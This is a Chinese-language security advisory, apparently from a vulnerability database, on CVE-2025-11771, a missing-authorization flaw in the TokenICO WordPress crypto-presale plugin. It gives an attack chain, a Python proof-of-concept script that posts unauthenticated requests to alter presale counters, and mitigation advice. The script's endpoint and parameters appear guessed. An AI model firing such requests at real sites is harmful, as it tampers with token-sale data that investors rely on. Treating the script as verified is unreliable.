IPBUF安全漏洞报告
English
CVE-2025-11771 CVSS 5.3 中危

CVE-2025-11771: WordPress TokenICO插件createSaleRecord函数未授权访问漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11771
漏洞类型
缺少认证与授权检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cryptocurrency (Token), Launchpad (Presale), ICO & IDO, Airdrop by TokenICO WordPress Plugin

相关标签

WordPress插件漏洞TokenICO缺少认证授权IDOR加密货币预售操纵REST API安全WordPress安全

漏洞概述

CVE-2025-11771是WordPress平台上一款名为TokenICO的加密货币代币发行插件存在的安全漏洞。该插件用于创建加密货币代币、启动板(预售)、ICO和IDO以及空投功能。漏洞存在于插件的RestAPI组件中,具体为createSaleRecord函数缺少适当的身份验证和权限检查机制。在所有版本直至2.4.7均受影响。攻击者无需任何认证凭证即可调用该敏感功能,操纵预售系统的计数器数据,可能导致代币销售数据被恶意篡改,影响项目方和投资者的决策判断。由于该插件直接处理加密货币相关的金融操作,此类未授权访问可能造成严重的经济损失和信任损害。

技术细节

该漏洞源于WordPress插件TokenICO的RestAPI.php文件中createSaleRecord函数缺乏身份验证机制。攻击者可以直接通过HTTP请求访问该REST API端点,无需提供任何认证令牌或Cookie。具体攻击方式为:攻击者构造恶意HTTP POST请求到插件的REST API端点,携带精心构造的参数来调用createSaleRecord函数。由于函数未验证请求者的身份和权限,任何网络上的未认证用户都能成功执行此操作。根据代码分析(plugins.trac.wordpress.org/browser/tokenico-cryptocurrency-token-launchpad-presale-ico-ido-airdrop/tags/2.4.6/app/RestAPI.php#L275),该函数直接处理预售记录的创建和修改逻辑,攻击者可借此增加或修改预售计数器数值,实现对代币销售数据的未授权篡改。此漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标WordPress站点,识别是否安装TokenICO插件及其版本
STEP 2
步骤2: 端点识别
识别插件的REST API端点,通常位于/wp-json/tokenico/v1/路径下
STEP 3
步骤3: 构造恶意请求
构造针对createSaleRecord函数的HTTP POST请求,包含操纵预售计数器的参数
STEP 4
步骤4: 发送未授权请求
直接发送请求到目标API端点,无需任何认证凭证(Cookie、Token等)
STEP 5
步骤5: 验证利用结果
检查响应确认预售计数器已被成功篡改,验证漏洞利用成功

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11771 PoC - Unauthenticated manipulation of presale counters # Target: WordPress site with TokenICO plugin < 2.4.8 target_url = "http://target-wordpress-site.com" # Identify the REST API endpoint for createSaleRecord function api_endpoint = f"{target_url}/wp-json/tokenico/v1/sale-record" # Prepare malicious payload to manipulate presale counter payload = { "sale_id": 1, "counter_value": 999999, "action": "create" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Send unauthenticated request to exploit the vulnerability try: response = requests.post( api_endpoint, json=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code in [200, 201]: print("[+] Vulnerability confirmed - presale counter modified without authentication") else: print("[-] Request failed or patch already applied") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

TokenICO WordPress Plugin < 2.4.8

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)中添加规则,限制对/wp-json/tokenico/路径下端点的访问;或使用.htaccess文件限制API端点的外部访问;建议网站管理员审查用户列表,确认未被异常注册账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表